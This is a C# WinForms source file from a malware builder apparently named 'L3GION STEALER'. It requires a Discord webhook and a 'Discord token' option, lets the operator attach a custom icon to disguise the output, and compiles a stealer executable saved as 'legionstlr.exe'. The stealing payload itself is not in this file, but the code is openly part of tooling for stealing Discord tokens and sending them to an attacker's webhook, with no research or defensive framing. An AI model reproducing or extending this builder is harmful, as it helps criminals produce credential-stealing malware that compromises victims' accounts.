using legion.builder;
using legion.builder.Build;
using sendweb;
using Siticone.UI.WinForms;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using legion.builder.Components.Build;
using L3GION_STEALER;

namespace L3gion_STELAR
{
    public partial class Sver : UserControl
    {

    
        public Sver()
        {
            InitializeComponent();
        }

        private void UserControl1_Load(object sender, EventArgs e)
        {

        }

        private void siticoneButton1_Click(object sender, EventArgs e)
        {

        }

        private void siticoneTextBox1_TextChanged(object sender, EventArgs e)
        {
            SiticoneTextBox textBox = (SiticoneTextBox)sender;
            textBox.SelectionStart = textBox.Text.Length;
            textBox.ScrollToCaret();
        }

        private void siticoneButton2_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrWhiteSpace(Settings.Webhook))
            {
                MessageBox.Show("Webhook Is Empty", "ERROR WEBHOOK", MessageBoxButtons.OK, MessageBoxIcon.Error);

            }
            else
            {

                if (DiscordTokenCheckbox.Checked)
                {

                    SiticoneButton buildButton = (SiticoneButton)sender;


                    using (var saveFileDialog = new SaveFileDialog())
                    {
                        saveFileDialog.Filter = "Executable File (*.exe)|*.exe";
                        saveFileDialog.Title = "Save";
                        saveFileDialog.FileName = "legionstlr.exe";
                        saveFileDialog.ValidateNames = true;

                        if (saveFileDialog.ShowDialog() == DialogResult.OK)
                        {


                            var builder = new Builder();
                            builder.Build(saveFileDialog.FileName);


                        }
                    }

                }
                else
                {
                    MessageBox.Show("Please Accept the EULA", "l3gion Rules", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                }

            }
        
        }

        private void siticoneButton1_Click_1(object sender, EventArgs e)
        {
            var tag = siticoneButton1.Tag as string;
            if (tag == "NoIcon")
            {
                using (var openFileDialog = new OpenFileDialog())
                {
                    openFileDialog.Filter = "Icon File (*.ico)|*.ico";
                    openFileDialog.Title = "Select Icon File";
                    openFileDialog.ValidateNames = true;
                    openFileDialog.CheckFileExists = true;
                    openFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);

                    if (openFileDialog.ShowDialog() == DialogResult.OK)
                    {
                        if (File.Exists(openFileDialog.FileName))
                        {
                            Settings.IconPath = openFileDialog.FileName;
                            siticoneButton1.Image = new Bitmap(openFileDialog.FileName);
                            siticoneButton1.ImageAlign = HorizontalAlignment.Right;
                        siticoneButton1.Tag = "Icon";
                            siticoneButton1.Text = "Unselect Icon";
                        }
                    }
                }
            }
            else
            {
                siticoneButton1.Tag = "NoIcon";
                Settings.IconPath = string.Empty;
                siticoneButton1.Text = "Select Icon";
                siticoneButton1.Image = null; 
                siticoneButton1.ImageAlign = HorizontalAlignment.Right;
            }

        }

        private void DiscordTokenCheckbox_CheckedChanged(object sender, EventArgs e)
        {

        }
    }
}
